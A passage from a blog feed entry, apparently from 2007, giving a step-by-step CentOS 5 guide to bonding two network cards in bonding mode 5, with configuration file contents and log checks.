pcs of  100Mbits NIC, it is only can perform 100Mbits transmit/receive. Say, your server is ftp server for internal usage, there is more than a thousand of internal users use it everyday and 100Mbits is always not enough to serve them. There is 2 solutions, 1st, purchase an 1Gbits NIC card ( with gigabit switch) but that will be costly. 2nd, add-on another 100Mbit NIC and bond the 1st and 2nd NIC together,  so that you will have 200Mbit bandwidth available for internal users&lt;br /&gt;&lt;br /&gt;Assume you have 2 NIC in your centos5 now, which is eth0 and eth1&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#vi /etc/modprobe.conf&lt;/span&gt;&lt;br /&gt;remove the line of eth0 and eth1&lt;br /&gt;and then add the line to /etc/modprobe.conf&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;alias bond0 bonding&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;options bond0 miimon=100 mode=5&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Here i choose the mode=5 cause i just need load balancing on transmitting but not receiving.  There is few modes available,  read carefully before you implement.  &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;go to /etc/sysconfig/network-script&lt;br /&gt;create ifcfg-bond0 and input the follow content&lt;br /&gt;#touch ifcfg-bond0&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DEVICE=bond0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;IPADDR=&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NETMASK=&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NETWORK=&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;BOARDCAST=&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;GATEWAY=&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ONBOOT=yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;BOOTPROTO=dhcp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;USERCTL=no&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;i use dhcp because i got dhcp server with the address bond to the mac address automatically. So not much configuration at here. If u use static IP address, just modify the IPADDR, NETMASK, BOARDCAST and etc.&lt;br /&gt;&lt;br /&gt;modify the eth0 and eth1&lt;br /&gt;#vi /etc/sysconfig/network-script/ifcfg-eth0&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DEVICE=eth0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ONBOOT=yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;BOOTPROTO=none&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;USERCTL=no&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;MASTER=bond0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SLAVE=yes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;do the above config on ifcfg-eth1 but device must be eth1. If your current config have mac address,  just leave it here. It will not effect the system.&lt;br /&gt;&lt;br /&gt;restart the network service&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#/etc/init.d/network restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;you will see the messages like this Determining IP information for bond0 with OK status.&lt;br /&gt;mean that everything work fine.&lt;br /&gt;&lt;br /&gt;do ifconfig and see,&lt;br /&gt;#ifconfig -a&lt;br /&gt;you will see the bond0, eth0 and eth1 have same mac address, actually they all bonded with mac address from eth0. &lt;br /&gt;&lt;br /&gt;check your log and see you will see the bonding messages&lt;br /&gt;#tail -n 30 /var/log/messsages&lt;br /&gt;....................................&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;bonding:bond0: Adding slave eth0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;eth0: link up&lt;/span&gt;&lt;br /&gt;..................................&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;bonding:bond0: Adding slave eth1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;eth1: link up&lt;/span&gt;&lt;br /&gt;..................................&lt;br /&gt;you will see the message some sort like above, mean that both ethernet card has been bonded with the bond0 interface.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-3307578800010081670?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/3307578800010081670/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=3307578800010081670' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/3307578800010081670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/3307578800010081670'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2007/12/centos-5-linux-bonding-mode5.html' title='Centos 5 - Linux Bonding - mode5'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
